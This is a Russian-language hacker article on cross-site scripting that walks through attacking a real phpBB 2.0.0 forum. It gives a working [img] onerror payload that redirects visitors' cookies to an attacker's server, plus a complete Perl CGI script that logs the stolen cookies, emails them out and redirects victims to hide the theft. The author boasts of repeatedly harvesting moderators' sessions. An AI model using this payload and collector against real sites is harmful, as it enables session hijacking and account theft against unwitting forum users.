Как использовать cross-site scripting (css)

Автор: Zakharov Igor Сайт: http://www.hackzone.ru
   
   Все началось с того, что как-то зайдя на securitylab.ru я увидел материал
   "Новости от Шушпанчика" примерно такого содержания:
   
   Хак-группы (или security gr0upz ?) "Digital Hell" и "Spoofed Packet", более
    известные под именами "Xpaxo aka Xaksors Online" и "Fallout Team" - обе группы
    недавно переименовались - создали глобальный проект: объединенный форум
    хакерских групп: http://secforum.net/ Здесь секьюрити эксперты из молодых
    хак-групп, такие как Eraser, Spikir и DocSoft, могут обмениваться своими
    мнениями по самым различным вопросам, связанным с их родом деятельности,
    например, написание бэкдора на Kylix и кто на чем кодит. Наиболее активно
    обсуждается насущный вопрос, чья же пися все-таки самая длинная?
   
   Помня о том, что Шушпанчик - это голова ((C) Pupkin-Zade) решаю прогуляться
   по данному URL`у и посмотреть, чем народ нынче балуется…
   
   Скажу, что форум мне не понравился сразу: работает глючно-преглючно, темы
   дурацкие (самые "крутые" темы в разделе coding: 'что лучше'и 'кто на чем
   кодит' ;-) и при всей этой ботве гордая надпись вверху страницы:
   
   Security Forum
   All about Russian security systems...
   
   Вот такие дела… Плюнул я на этот этот URL и забыл о нем на время… И не
   вспомнил бы, если бы не пришла в голову мысль написать о уязвимостях типа
   ХSS (cross-site scripting), которые сейчас являются абсолютными чемпионами
    по частоте появления в багтреке (проверь соответствующий раздел на Xakep.ru).
   Было ясно, что объяснять данную проблему 'на пальцах' было бы не круто - нужна
   была жертва, о выборе которой я даже не задумывался - http://secforum.net/ ;-)
   
   Что такое cross-site scripting? Это тип уязвимостей, позволяющий атакующему
    выполнять произвольный код (например Javascript), встроив его в свое сообщение
    на форуме, добавив в качестве аргумента для скрипта на сервере и т.д.
   XSS-уязвимости находят и в практически никому не известных форумах, и
   shopping cart`ах крупнейших магазинов, и в таких почтовиках как Hotmail…
   Иными словами потенциально уязвимы все скрипты/приложения, которые получают
    от пользователя какую-либо информацию.
   
   Типичная уязвимость выглядит так:
   http://www.microsoft.com/education/?ID=MCTN&target=
   http://www.microsoft.com/education/?ID=MCTN&target="><ipt>alert(document.cookie)</script>
   В результате в должны получить окошко, с содержимым вашего cookie
    (жаль на microsoft.com это уже пофиксено - такой хороший пример был ;-)
   
   Как свидетельствует статистика, XSS-дыры можно найти практически везде.
    Согреваемый этой мыслью, я отправился тестить http://secforum.net/ на
    дырявость… По правде говоря при первом посещении я даже не обратил внимание
    на чем там все крутится. Захожу - phpBB 2.0.0, довольно навороченный форум
    на php… Причем особенно меня порадовала 'навороченность' - где больше кода,
    там больше дырок %-)
   
   Топаем в форму отправки сообщения и что же мы видим? Да тут используется супер
    разработка группы phpBB - Bbcode!!! Bbcode - это несколько обычных html-тегов
   у которых '<' и '>' заменены соответственно на '[' ']' Это дает возможность
    пользователям, к примеру посредством тега [img] добавлять в свое сообщение
   картинки (вернее ссылки на картинки по типу http://server.com/coolpicture).
    Этот тег мне не понравился сразу, начинаю с ним экспериментировать, а мой
    мыльник принимает свежую порцию багтрека… и тут я вижу такое… сообщение
    багтрека об уязвимости phpBB 2.0.0 (как раз той самой в которой я копаюсь).
    В голове проносится мысль из кинофильма: "Ничего красть не нужно, все уже
    украдено до нас". Уязвимость выглядит так:
   
   [img]http://a.a/a"onerror="javascript:alert('fool')[/img]
   
   Т.е. если отправить подобный 'сюрприз' в своем сообщении, то вместо картинки
    пользователь увидит окошко с очень обидным словом…
   
   Что мы будем с этим делать? Ну, так как форум поддерживает всяческие там
    авторизации и автоматические входы, давай посмотрим как воровать кукисы
   пользователей. Делается это следующим образом:
   
   [img]http://a.a/a"onerror="javascript:name='
   http://твой_сервер/cgi-bin/script.cgi?';cook=document.cookie;
   name=name+cook;document.location=name;[/img]
   
   Объясняю тот Javascript, который здесь наворочен. Создается две переменные:
    в одной находится путь к твоему серверу со скриптом для сбора кукисов (дальше
    объясню как написать этот скрипт), во второй - содержимое кукиса пользователя,
    затем эти две переменные объединяются, т.е. получается примерно следующее:
   
   http://твой_сервер/cgi-bin/script.cgi?содежимое_кукиса
   
   далее происходит перенаправление пользователя на это URL.
   
   Теперь о том, как написать скрипт для сбора кукисов:
   
   #!/usr/bin/perl
   
   use CGI qw(:standard);
   
   $cookie=$ENV{QUERY_STRING};
   $file="cook.txt";
   open (FILE, ">>$file");
   print FILE "$cookie\n\n";
   close(file);
   $query = CGI::new();
   
   print $query->redirect('http://secforum.net/forum/index.php');
   $mailprog = '/usr/sbin/sendmail';
   
   $mail='xakep@mail.ru';
   $target='admin@secforum.net';
   open (MAIL, "|$mailprog -t");
   print MAIL "Content-Type: text/plain\n";
   print MAIL "Subject: Fresh cookie\n";
   print MAIL "To: $mail\n";
   print MAIL "From: '.$target.'\n\n";
   print MAIL "$cookie";
   close (MAIL);
   
   О том, как это работает. Когда пользователя редиректит на наш скрипт, то в
    качестве аргумента скрипту передается содержимое кукиса (часть URL`а после
    'script.cgi?'). Это значение мы считываем с помощью $ENV{QUERY_STRING} и
    заботливо записываем в файл (кстати не забудь создать файл cook.txt), потом
    мы отправляем письмо с ворованным кукисом тебе любимому (если у тебя на
   хостинге нет возможности использования sendmail`а просто убери последние 9
    строк скрипта). Далее мы маскируем свою деятельность перенаправляя
    пользователя на главную страницу форума. В результате невнимательный
    пользователь вообще ничего не поймет: шел читать сообщение, а попал на
    главную страницу…
   
   Подобные шуточки были провернуты мною несколько раз и попадались на них…
    модераторы форума!!! Думаете после этого дыру закрыли? О нет! Кул-хаксоры просто
    удаляли мои сообщения!!! А я оставлял их снова и продолжал собирать урожай
   'плюшек'. Конечно тут можно было пойти дальше и вникнув в алгоритм формирования
    плюшки захватить форум… но если бы ты знал каких трудов стоит хотя бы
    просто оставить сообщение на этом постоянно глючащем 'проекте о
    безопасности'… у меня иногда уходило по пол-часа даже на эту простейшую
   операцию, потому как сервер просто умирал и переставал отвечать…совсем…до
    следующего часа…
   
   

Опубликовано: HTTP://WWW.R-T-F-M.INFO, pauk ©® 2000-2011.
All rights reserved.
При перепечатки ссылка на сайт обязательна.
Мнение администрации сайта не всегда совпадает с мнением автора..